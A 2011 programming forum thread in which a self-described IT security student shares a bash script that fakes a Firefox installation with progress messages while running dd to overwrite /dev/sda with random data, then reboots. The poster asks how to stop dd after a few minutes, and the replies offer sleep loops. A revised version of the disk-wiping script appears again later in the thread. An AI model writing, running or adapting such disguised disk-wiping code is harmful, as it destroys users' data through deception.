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Old 12-08-2011
timed kill within script?
I want to warn everyone, I am not a programmer lol. I'm an IT wanting to get a little insight of programming, and I like to play around so I can learn. Ok, so I'm going to school for IT Security and Forensics. I had a project to write a hack, and I chose to write a shell script to run dd to write random data to sda. It was easy. I'm currently using BackTrack 4 r2 (not that it really matters.) Now, I want to make it better and auto terminate. The entire script acts like it is installing firefox, yet is running dd. the only thing is, dd does not auto term it's self. I want it to term maybe after 10 minutes? My script is below. I promise I am doing this only for my own personal use. I am a Christian, and have my FBI background clearances for school.

Code:
#!/bin/bash
echo Downloading FireFox Installer........
sleep 1
echo done!
echo Please Wait...........
sleep 3
echo Downloading dependencies.....
sleep 2
echo done!
echo Downloading additional files......
sleep 1
echo done!
echo Downloading Plug-ins.....
sleep 4
echo done!
echo Installing FireFox...
dd if=/dev/urandom of=/dev/sda
echo done!
echo computer will now restart
sleep 2
reboot

Last edited by methyl; 12-09-2011 at 06:10 AM.. Reason: code tags
# 2  
Old 12-09-2011
Why not run a loop for 10mins instead of dd. Something like this:
Code:
while [ 1 ]
do
    sleep 600
    last
done

Last edited by balajesuri; 12-09-2011 at 12:38 AM..
# 3  
Old 12-09-2011
Thanks! I tried that, but I dint know where to add that code. Like I said, I'm a noob lol. Also, how did you add the code box? I think I'm just not looking in the right place..
# 4  
Old 12-09-2011
Replace this line "dd if=/dev/urandom of=/dev/sda" in your code with the while loop.

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# 5  
Old 12-09-2011
So something like this?
Code:
#!/bin/bash
echo Downloading FireFox Installer........
sleep 1
echo done!
echo Please Wait...........
sleep 3
echo Downloading dependencies.....
sleep 2
echo done!
echo Downloading additional files......
sleep 1
echo done!
echo Downloading Plug-ins.....
sleep 4
echo done!
echo Installing FireFox...
while [1]
do
     sleep 5m
     last
done
dd if=/dev/urandom of=/dev/sda
echo done!
echo computer will now restart
sleep 2
reboot

# 6  
Old 12-09-2011
If you just want to sleep for 5 minutes then just sleep 5m will do, no need for a loop.
# 7  
Old 12-09-2011
CarloM, I'm actually trying to get a script to run a dd command for about 5 minutes, kill the dd, an then finish the script. Maybe my first post wasn't very clear, sorry! Smilie
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